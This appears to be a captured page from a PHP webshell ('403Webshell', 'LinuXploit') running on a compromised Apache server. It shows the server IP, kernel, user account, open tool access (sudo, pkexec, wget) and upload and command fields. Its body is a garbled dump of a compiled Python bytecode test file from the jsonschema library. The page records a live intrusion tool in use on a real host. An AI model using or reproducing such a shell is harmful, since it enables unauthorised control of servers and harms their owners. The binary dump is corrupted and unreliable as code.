- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.190.176.94
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/jsonschema/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/jsonschema/tests/__pycache__/test_format.cpython-36.pyc
3

�;Xd�@sJdZddlmZmZddlmZmZmZddlm	Z	Gdd�dej
�ZdS)zQ
Tests for the parts of jsonschema related to the :validator:`format` property.

�)�mock�unittest)�FormatError�ValidationError�
FormatChecker)�Draft4Validatorc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�TestFormatCheckercCstj�|_dS)N)rZMock�fn)�self�r�!/usr/lib/python3.6/test_format.py�setUp
szTestFormatChecker.setUpcCstfd�}|j|j�dS)N)�formats)rZassertFalse�checkers)r
�checkerrrr�test_it_can_validate_no_formatss
z1TestFormatChecker.test_it_can_validate_no_formatsc
Cs&|jt��tdgd�WdQRXdS)Nzo noes)r)�assertRaises�KeyErrorr)r
rrr�.test_it_raises_a_key_error_for_unknown_formatssz@TestFormatChecker.test_it_raises_a_key_error_for_unknown_formatscCsJtjjtjdd��.tjd�|j�|jtjd|jffi�WdQRXdS)NT)�clear�new)rZpatch�dictrrZ
cls_checksr	�assertEqual)r
rrr�!test_it_can_register_cls_checkerssz3TestFormatChecker.test_it_can_register_cls_checkerscCs8t�}|jd�|j�|j|jttj|jffd��dS)Nr)r)r�checksr	rrr)r
rrrr�test_it_can_register_checkerss
z/TestFormatChecker.test_it_can_register_checkerscCs�t�}t�}|j_|jdtd�|j�|jt��}|jdd�WdQRX|j|j	j
|�|j|j	j|�t|j_|jt��|jdd�WdQRXdS)N�foo)�raises�bar)
r�
ValueErrorr	�side_effectrrrZcheck�assertIs�	exception�cause�	__cause__�AttributeError)r
rr#�cmrrr�!test_it_catches_registered_errors%sz3TestFormatChecker.test_it_catches_registered_errorsc
Cslt�}|jdtd�|j�t�}|j_tddi|d�}|jt��}|jd�WdQRX|j	|j
j|�dS)Nr)r�format)Zformat_checkerr)rrrr	r rrrZvalidater!r"r$)r
rr#Z	validatorr&rrr�7test_format_error_causes_become_validation_error_causes6szITestFormatChecker.test_format_error_causes_become_validation_error_causesN)
�__name__�
__module__�__qualname__r
rrrrr'r)rrrrrsrN)�__doc__Zjsonschema.tests.compatrrZ
jsonschemarrrZjsonschema.validatorsrZTestCaserrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit